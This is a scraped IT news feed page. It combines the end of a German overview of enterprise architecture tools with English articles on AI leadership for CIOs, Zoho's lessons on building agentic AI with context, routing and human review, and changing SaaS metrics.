Nachdem zuerst ĂŒber einfache Formulare Informationen von Usern, Entwicklern und sonstigen Stakeholdern im Unternehmen eingesammelt wurden, lĂ€sst sich mithilfe von Ardoq ein digitaler Zwilling der gesamten Organisation erstellen. Der Ansatz setzt also darauf, die Menschen, die in ihren Rollen mit den verschiedensten Systemen arbeiten, realistisch in ihrer Arbeitswelt abzubilden.

Jede Mitarbeiterin und jeder Mitarbeiter im Unternehmen kann spĂ€ter von den Netzwerkvisualisierungen und Datenfluss-Diagrammen profitieren, um seine eigene Rolle optimal zu unterstĂŒtzen und den Arbeitsplatz immer wieder anzupassen und zu modernisieren. Das Tool lĂ€sst sich mit den wichtigsten Cloud-Plattformen integrieren. Es bietet eine API, die individuelle Anpassungen in allen wichtigen Programmiersprachen (Python, C#, Java, etc.) ermöglicht.

Wichtigste Use Cases:

  • “Architektonischen Stress” bei Lastspitzen simulieren, falls grĂ¶ĂŸere VerĂ€nderungen bevorstehen;

  • Verstehen, wie verĂ€ndertes Nutzerverhalten neue Anforderungen generiert;

  • Application Portfolio Management, um besser strategisch zu planen.

Atoll Group SAMU

Das EA-Tool SAMU macht die Enterprise Architecture sichtbar, indem es tiefe VerknĂŒpfungen zwischen On-Premises-Systemen, dem Cloud-Layer und Tools fĂŒr das Business Process Management aufzeigt. Das Tool der Atoll Group bietet vielfĂ€ltige Integrationsmöglichkeiten, zum Beispiel mit Monitoring-Tools (etwa Tivoli, ServiceNow), Configuration-Management-Datenbanken (zum Beispiel CA, BMC) oder Service-Organisations-Tools (BMC, HPE). Alle Informationen fließen in ein zentrales Datenmodell ein, das um den zusĂ€tzlichen Input der Stakeholder weiter angereichert wird.

Wichtigste Use Cases:

  • Enterprise-Architektur visualisieren;

  • strategische Planungsprozesse und Architektur-Reviews mit Informationen unterfĂŒttern;

  • mithilfe einer visuellen VerstĂ€ndnisgrundlage die Kommunikation verbessern.

Avolution Abacus

Dieses Tool erfasst die Breite und den Umfang der Unternehmensarchitektur mit Hilfe eines auf Diagrammen basierenden Dashboards. Die Integration mit gĂ€ngigen Tools wie SharePoint, Excel, Visio, Google Sheets, Technopedia oder ServiceNow vereinfacht die Nutzung. Abacus wurde inzwischen auch um einen Machine-Learning-Layer ergĂ€nzt, der es Anwendern ermöglicht, ein Modell zu trainieren, das ihnen beispielsweise hilft zu erkennen, wer im Unternehmen fĂŒr welches System verantwortlich ist.

Wichtigste Use Cases:

  • die IT fĂŒr das gesamte Unternehmen â€œĂ¶ffnen”, um ein allgemeines VerstĂ€ndnis der DatenflĂŒsse zu erzeugen;

  • umfassendes Enterprise Modeling, um eine Roadmap fĂŒr kĂŒnftige Entwicklungen zu erstellen;

  • Business-Metriken tracken, die mit der Unternehmens-Performance zusammenhĂ€ngen.

BOC Group ADOIT

ADOIT soll Teams dabei unterstĂŒtzen, Ressourcen zu verwalten, Bedarfe vorherzusagen und Assets zu tracken. Dazu mappt das Tool jedes System oder Softwarepaket mit einem Objekt. Die DatenflĂŒsse zwischen den Systemen werden in Beziehungen umgewandelt, die von diesen Objekten mithilfe eines anpassbaren Metamodells erfasst werden. GeschĂ€ftsprozesse können auf Ă€hnliche Weise ĂŒber ein gut integriertes Begleitprodukt namens ADONIS modelliert werden. ADOIT ist Web-basiert und lĂ€sst sich auch mit Tools wie Atlassian Confluence integrieren, um die Datenerfassung und -entwicklung zu beschleunigen.

Wichtigste Use Cases:

  • ein unternehmensweites Modell erstellen, das bei sĂ€mtlichen Teammitgliedern ein VerstĂ€ndnis ĂŒber den Stack schafft – und wie man diesen verbessern kann;

  • vollstĂ€ndiger Zugriff auf EA-Daten ĂŒber eine Mobile-Anwendung;

  • bei Fusionen und Übernahmen den Tech-Bereich durch genaues Asset-Mapping orchestrieren.

Bizzdesign Hopex

Nach der Übernahme von Mega International zĂ€hlt die Hopex-Plattform zum Portfolio von Bizzdesign. Sie soll dabei unterstĂŒtzen, Unternehmensanwendungen zu modellieren und dabei ein VerstĂ€ndnis der von ihnen unterstĂŒtzten GeschĂ€fts-Workflows schaffen. Dabei liegt ein Schwerpunkt auf den Bereichen Data Governance und Risikomanagement. Hopex basiert auf Microsoft Azure und stĂŒtzt sich auf eine Reihe offener Standards wie GraphQL und REST Queries, um Informationen aus Komponentensystemen zu sammeln. Das Reporting ist mit den Office-Tools von Microsoft sowie mit grafischen Lösungen wie Tableau und Qlik integriert.

Wichtigste Use Cases:

  • datengestĂŒtzte Erkenntnisse herbeifĂŒhren, um Cloud- und Anwendungsbereitstellung zu steuern;

  • akkurate Nutzungsmodelle erstellen, um Architekturanforderungen zu verstehen;

  • eine BedarfsschĂ€tzung mit Umfragen und anderen Tools vornehmen, um fĂŒr die Zukunft zu planen.

Bizzdesign Horizzon

Das Tool dient dazu, Business Workflows und den zugrundeliegenden Tech-Stack zu modellieren. Dazu bietet Horizzon ein Graph-basiertes Modell, das Daten von sĂ€mtlichen Stakeholdern einsammelt und diese an eine Analytics-Engine weitergibt. Im Ergebnis entstehen Diagramme, die den aktuellen Systemzustand widerspiegeln. Wichtige Schwerpunkte dieses Tools sind Change Management und Zukunftsplanung: Horizzon ist nicht zuletzt dafĂŒr konzipiert worden, die Risiken eines Redesigns zu minimieren. Das Toolset unterstĂŒtzt die wichtigsten Frameworks ArchiMate, TOGAF und BPMN. Neben Mega hat Bizzdesign im Januar 2025 auch den EA-GeschĂ€ftsbereich der Software AG – Alfabet – ĂŒbernommen.

Wichtigste Use Cases:

  • Vorhersage zukĂŒnftiger Anforderungen durch Predictive Modeling;

  • Orchestrieren von Workflows auf der Basis der technischen und der Business-Architektur;

  • Antizipieren von Risiken sowie Security- und Governance-Problemen durch die Modellierung von Datensicherheitsanforderungen.

Capstera

Das Tool von Capstera fokussiert darauf, die Business Architecture selbst abzubilden. Value und Process Maps helfen dabei, die Rollen der verschiedenen Unternehmensbereiche zu definieren und nachzuverfolgen. Dabei können im laufenden Prozess VerknĂŒpfungen mit den zugrundeliegenden Softwarprodukten und Tools hinzugefĂŒgt werden.

Wichtigste Use Cases:

  • Reports erstellen, die sich erst einmal mit der Business-Architektur selbst beschĂ€ftigen;

  • Beziehungen zwischen Menschen, Abteilungen und Rollen analysieren;

  • die langfristige strategische Planung vorantreiben.

Clausmark Bee360

Teammitglieder, die Clausmarks Flaggschiffprodukt Bee360 (frĂŒher Bee4IT) verwenden, wollen eine einfache “Single Source of Truth” ĂŒber die Workflows im Unternehmen. Ziel ist es, verschiedenen betrieblichen Rollen intelligentere Entscheidungen zu ermöglichen. Das Modul Bee360 FM (Finanzmanagement) bietet etwa die Möglichkeit, Kosten nachzuvollziehen und zuzuordnen. Die Anwender können verschiedene solcher Module miteinander verknĂŒpfen, um EAM, Finanzmanagement, Portfolio Management und Agile Planning nahtlos zu integrieren – bei maximaler Transparenz.

Wichtigste Use Cases:

  • C-Suite-Ebene befĂ€higen, Projekte zu managen und Assets zuzuweisen;

  • prĂ€zise digitale Zwillinge entwickeln, um ein VerstĂ€ndnis ĂŒber DatenflĂŒsse zu schaffen und kĂŒnftige Erweiterungen zu planen;

  • integrierte Wissensdatenbank aufbauen, um alle digitalen Workflows zu tracken.

EAS

Das Essential-Paket von EAS (Enterprise Architecture Solutions) nahm als Open-Source-Projekt seinen Anfang und hat sich inzwischen zu einer kommerziell verfĂŒgbaren Cloud-Lösung weiterentwickelt. Das Tool erstellt ein Metamodell, das die Interaktionen zwischen Systemen und GeschĂ€ftsprozessen beschreibt. Ebenfalls enthalten sind Pakete, um gĂ€ngige Business Workflows wie Datenmanagement oder DSGVO-Compliance zu tracken.

Wichtigste Use Cases:

  • den technischen Reifegrad der eigenen Architektur evaluieren;

  • Sicherheit und Governance durch besseres Asset Tracking optimieren;

  • wachsende SystemkomplexitĂ€t kontrollieren und managen.

OrbusInfinity

Orbus Software hat Anfang 2025 die Akquisition seines Konkurrenten Capsifi abgeschlossen. Der Anbieter stellt mit OrbusInfinity eine Enterprise-Transformation-Plattform auf KI-Basis zur VerfĂŒgung, die schnellere, bessere Entscheidungen, Kosteinesparungen und Risikominimierung verspricht. Architecture-Teams sollen mit Hifle von OrbusInfinity mit einer Vielzahl von Stakeholdern interagieren können, um eine “digitale Blaupause” ihres Unternehmens zu generieren, die eine einheitliche Sicht auf das aktuelle und kĂŒnftige GeschĂ€ft realisieren soll. Diverse Drittanbieter-Tools lassen sich außerdem mit der Plattform integrieren, darunter etwa von Microsoft, Flexera, ManageEngine oder ServiceNow.

Wichtigste Use Cases:

  • Stakeholder-Management;

  • Enterprise-Landschaften visualisieren;

  • Entscheidungsfindung und Datenanalyse automatisieren.

Planview Enterprise One

Planview bietet eine ganze Reihe von Produkten, mit denen Unternehmen Teamwork, Prozesse und die Enterprise Architecture nachvollziehen können. Die Enterprise Tools sind in drei Kategorien unterteilt: strategisches Portfolio-Management, Produktportfolio-Management und Projektportfolio-Management. Im Zusammenspiel entstehen hardware- und Software-ĂŒbergreifende Layer, die rollenbasierte Perspektiven fĂŒr FĂŒhrungskrĂ€fte und Teammitglieder eröffnen. Das Toolset integriert mit gĂ€ngigen Ticket-Tracking-Systemen wie Jira, um Workflow-Analysen und Reports zu erstellen. Inzwischen hat Planview nach einer Übernahme neue Tools in sein Portfolio integriert, die frĂŒher unter den Namen Daptiv, Barometer und Projectplace bekannt waren.

Wichtigste Use Cases:

  • eine langfristige, strategische Vision fĂŒr die Architekturentwicklung aufbauen;

  • Entwicklungsarbeit auf Projektebene tracken und in eine beliebige Strategie integrieren;

  • mit Fokus auf die Customer Experience und die Produktstruktur den Change vorantreiben.

QualiWare Enterprise Architecture

Das Enterprise Architecture Tool von QualiWare ist Teil einer grĂ¶ĂŸeren Sammlung von Modellierungswerkzeugen, die darauf abzielt, sĂ€mtliche GeschĂ€ftsprozesse zu erfassen. Beispielsweise ist es möglich, einen digitalen Zwillinge zu bauen, mit dem sich Customer Journeys nachvollziehen lassen. Qualiware hat diverse KI-Algorithmen integriert, um Dokumentation und Process Discovery zu optimieren.

Wichtigste Use Cases:

  • ein kollaboratives Ökosystem fĂŒr Business Manager aufbauen, das ein VerstĂ€ndnis von der Enterprise Architecture vermittelt;

  • architektonische Designelemente erfassen, um ein Wissens-Ökosystem rund um den Stack aufzubauen;

  • eine breite Beteiligung in Sachen Dokumentationserstellung und -ĂŒberprĂŒfung fördern.

Quest Erwin Evolve

Das Erwin Evolve Tool von Quest hat sich von einem Datenmodellierungs-Tool zu einem System fĂŒr Enterprise-Architecture- und GeschĂ€ftsprozess-Modellierung weiterentwickelt. Um die KomplexitĂ€t moderner, ineinandergreifender Softwaresysteme und der von ihnen gemanagten GeschĂ€ftsprozesse zu durchdringen, können Anwender auf benutzerdefinierte Datenstrukturen zurĂŒckgreifen. Das Web-Tool erstellt Modelle, rollenbasierte Diagramme und andere Visualisierungen, die in allgemein zugĂ€ngliche Dashboards einfließen. Zum Paket gehört ein KI-basiertes Modellierungs-Tool, das Whiteboard-Skizzen integrieren kann.

Wichtigste Use Cases:

  • einen digitalen Zwilling fĂŒr die strategische Modellierung der Enterprise Data Architecture erstellen;

  • Customer Journeys verstehen;

  • Services und Systeme mit Application Portfolio Management tracken.

SAP LeanIX Enterprise Architecture Suite

Die Tool-Sammlung von LeanIX umfasst unter anderem Enterprise Architecture Management und andere Bereiche, die fĂŒr Aufgaben wie SaaS– und Value-Stream-Management wichtig sind – etwa um Cloud-Deployments und darauf laufende Services zu tracken. Die Daten die dabei ĂŒber die IT-Infrastruktur gesammelt werden, fließen in ein grafisches Dashboard ein. Das Tool ist eng mit wichtigen Cloud-Workflow-Tools wie Confluence, Jira, Signavio und Lucidchart integriert. Das ist fĂŒr Teams von Vorteil, die diese Tools bereits nutzen, um ihre Entwicklungsstrategien zu planen und umzusetzen. Seit November 2023 ist LeanIX Teil von SAP.

Wichtigste Use Cases:

  • Anwendungsmodernisierung und Cloud-Migration managen;

  • Obsoleszenz von Software-Services evaluieren;

  • Kosten kontrollieren und managen.

ServiceNow

Die Tool-Sammlung von ServiceNow lĂ€sst sich auf verschiedene Architekturtypen herunterbrechen, darunter Assets, DevOps, Security und Service. Die Tools katalogisieren die unterschiedlichen Hardware- und Softwareplattformen, um Workflows und DatenflĂŒsse im Unternehmen abzubilden und zu verstehen. AusfĂŒhrliche Reportings und detaillierte Dashboards ermöglichen Analysen, auf deren Grundlage Risiken minimiert und die Ausfallsicherheit der Systeme erhöht werden können.

Wichtigste Use Cases:

  • Tracken von Assets, Services und Systemen, die das Unternehmen ausmachen;

  • Governance-Themen, Risikobegrenzung, IT-Management und Security Operations werden in einer Plattform zusammengefĂŒhrt;

  • durch die Integration von CRM-Tools lassen sich auch kundenorientierte Services managen.

Sparx Systems

Um Teams und Projekte verschiedener GrĂ¶ĂŸe und KomplexitĂ€t zu unterstĂŒtzen, hat Sparx vier Versionen seines EA-Tools entwickelt. Allen gemeinsam ist eine UML-basierte Modellierung, mit der sich die Komponenten komplexer Systeme tracken lassen. Eine Simulations-Engine ermöglicht “War Gaming” und vermittelt ein VerstĂ€ndnis darĂŒber, wie sich Fehler ausbreiten und kaskadieren können. Sparx stellt zudem eine Vielzahl von vorgefertigten Design Patterns bereit, um Teams bei der Modellierung zu unterstĂŒtzen.

Wichtigste Use Cases:

  • Nachfrage- und LastverĂ€nderungen zur Prognose kĂŒnftiger Anforderungen simulieren;

  • (potenzielle) Probleme durch eine Verbindungs-Matrix im Auge behalten;

  • Dokumentation erstellen.

Unicom System Architect

System Architect ist eines der Angebote aus Unicoms Team Blue. Es handelt sich um ein Tool, das ein Metamodell verwendet, um automatisiert so viele Daten wie möglich ĂŒber die laufenden Systeme zu sammeln – manchmal auch durch ein Reverse Engineering von DatenflĂŒssen. Dieses systemweite Datenmodell kann ĂŒber benutzerdefinierte Dashboards Teammitgliedern aller Rollen zugĂ€nglich gemacht werden. Ein weiteres erwĂ€hnenswertes Feature: Die Ressourcenzuweisung lĂ€sst sich mit Hilfe von Simulationen optimieren.

Wichtigste Use Cases:

  • Was-wĂ€re-wenn-Fragen zum Architekturmodell stellen;

  • ein Metamodell von Daten und Systemen aufbauen;

  • Migrations- und TransformationsplĂ€ne erstellen.

ValueBlue BlueDolphin

Dieses EA-Tool sammelt Daten auf dreierlei Art:

  1. Es importiert Basisdaten auf der Grundlage standardgesteuerter Automatisierung (ITSM, SAM).

  2. Es arbeitet mit den Dateiformaten von Architekten und Systemdesignern – etwa ArchiMate oder BPMN.

  3. Es gibt Fragebögen an andere Stakeholder heraus, die auf anpassbaren Vorlagen basieren.

Die aufbereiteten Informationen werden in einer visuellen Umgebung bereitgestellt, die Auskunft ĂŒber die historische Entwicklung von Systemen gibt.

Wichtigste Use Cases:

  • systemweite Daten von internen und externen Stakeholdern automatisiert und formularbasiert erfassen;

  • zukunftsorientierte Reportings erzeugen, um den Change zu ĂŒberwachen und voranzutreiben;

  • Kooperation und Zusammenarbeit durch offenes Data Reporting fördern.

(fm)

Dieser Artikel ist im Original bei unserer Schwesterpublikation CIO.com erschienen.

]]> <![CDATA[AI success requires a full-stack CIO]]> https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/ https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/ Sat, 25 Jul 2026 18:57:42 +0200 📰 IT Security Nachrichten tsecurity.de

Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?

It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.

After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.

Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.

I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, influence a board, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.

Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.

While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.

That versatility gives Talasaz a unique lens on how CIOs can deliver value with AI.

Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.

The full-stack CIO: Leading with clarity

A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.

The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.

And those who execute best lead with clarity, Talasaz says.

“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”

One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.

As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.

And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.

“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”

At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.

Reducing organizational friction

Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”

Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?

Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.

AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.

Operating model as strategy enabler

AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.

Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.

“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.

The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.

This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.

Talasaz points out that technology leaders tend to speak in terms of transformation. He suggests CIOs consider a different word: reinvention.

As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.

Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.

Closing the gap between strategy and execution

Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”

As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”

Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.

Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.

The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.

This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.

Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to reach out to me directly.

]]> <![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]> https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/ https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/ Sat, 25 Jul 2026 18:55:52 +0200 📰 IT Security Nachrichten tsecurity.de

When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.

“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.

“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.

Speaking to a room of tech leaders at the CIO 100 Leadership Live New York event last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:

  • Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.
  • Smarter: The system around the model decides more than the model does.
  • Safer: Verify at the point a mistake gets locked in, not just downstream of it.

He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.

To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.

“The intelligence moves from the model into the architecture around it,” he said.

A steep learning curve

One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.

“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”

In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.

Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.

“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.

Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.

“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”

The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.

“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.

Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.

Routing

Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.

Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.

“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”

Harness

An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.

“It’s the process around the model, which matters way more than the model itself,” Thakrar said.

In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.

For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.

Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.

“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”

But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.

Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.

Specialization

Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.

Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.

“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”

]]> <![CDATA[The new value architecture of the AI-native SaaS era]]> https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/ https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/ Sat, 25 Jul 2026 18:55:51 +0200 📰 IT Security Nachrichten tsecurity.de

The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.

In brief:

  • AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.
  • Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.
  • These changes impact everything from pricing to valuations.

The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.

The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.

While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a credit-centric metrics framework, with seats and outcomes as the bookends of a spectrum.

Why do software companies need new metrics?

Why the rethink, and why now? There are five major forces that are driving this shift:

  1. The unit of value is changing. Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.
  2. The cost of goods sold (COGS) is exploding. AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.
  3. Buying is moving up the org chart. AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.
  4. Time to value (TTV) is collapsing. With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.
  5. Retention is bifurcating. AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.

